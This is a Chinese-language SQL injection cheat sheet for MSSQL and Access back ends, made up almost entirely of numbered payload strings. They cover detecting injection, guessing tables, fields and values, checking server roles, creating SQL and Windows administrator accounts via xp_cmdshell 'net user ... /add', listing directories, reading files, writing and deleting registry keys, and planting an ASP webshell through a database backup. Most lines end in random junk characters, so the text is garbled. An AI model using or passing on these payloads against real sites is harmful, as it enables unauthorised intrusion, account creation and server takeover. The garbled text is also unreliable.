1.判断是否有注入;and 1=1 ;and 1=2 |$tF{\
2.初步判断是否是mssql ;and user>0 t,Tq3zB
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3.注入参数是字符'and [查询条件] and ''=' @[D5{v)S
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' qi@Nz=t#HJ
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5.判断数据库系统 ;-i)}<
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;and (select count(*) from msysobjects)>0 access un\o&0}
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 +^J&x>5
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 \HD:#a
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 |s#,^SJ0
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9.(1)猜字段的ascii值(access) 2L<1]:I
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(2)猜字段的ascii值(mssql) Bz{"K
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 f3;[ZS
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10.测试权限结构(mssql) UnDX .W*2
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- ?5G;=#I
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 0 Swu]OE
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- auB+ g'l
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- C\[:{d
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- (Rs;+S
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- U8aNL
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;and 1=(select IS_MEMBER('db_owner'));-- \0*dKgN
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11.添加mssql和系统的帐户 4<EC50@.
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;exec master.dbo.sp_addlogin username;-- "6~+-_:
;exec master.dbo.sp_password null,username,password;-- A{3nz DLI
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- t[HsqnP
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;exec master.dbo.xp_cmdshell 'net user username password *>GRU8_}
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- B<|Vm.D
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- 6!6R3Za$
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- U[pR`u
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12.(1)遍历目录 ?>R(;B|ER
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;create table dirs(paths varchar(100), id int) C
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;insert dirs exec master.dbo.xp_dirtree 'c:\' VYK%0S9yH[
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;and (select top 1 paths from dirs)>0 &[|Z2}
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) : t
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(2)遍历目录 eS%8WmCV9<
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- ey:%Zy
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ##"
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 _GoFwVO
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 r0<zy_d'
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 QqC-ztz
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13.mssql中的存储过程 Rx@0EPV
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xp_regenumvalues 注册表根键, 子键 7 $dibTER
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 #8WHIDS>
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xp_regread 根键,子键,键值名 ACEVd! q
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 ;6=*E '
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xp_regwrite 根键,子键, 值名, 值类型, 值 DnCIfda2g
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 XCGK&OGI
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 "JgwL_2
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xp_regdeletevalue 根键,子键,值名 @><8YN^)%
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 i2)$%M&
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 L7yEgYB
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14.mssql的backup创建webshell
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insert into cmd(str) values (''); \mFgjPz
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backup database model to disk='c:\l.asp'; )|&FBz;
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15.mssql内置函数 F>k/;@d
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;and (select @@version)>0 获得Windows的版本号 4@jX{{^6%
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa q3u:Tpn4%
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;and (select user_name())>0 爆当前系统的连接用户 `cFNO:
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;and (select db_name())>0 得到当前连接的数据库 FY,)iZ}Pq
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16.简洁的webshell \
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create table cmd(str image); U ?6.UtNf
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insert into cmd(str) values (''); K#x|/b'5d
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backup database model to disk='g:\wwwtest\l.asp';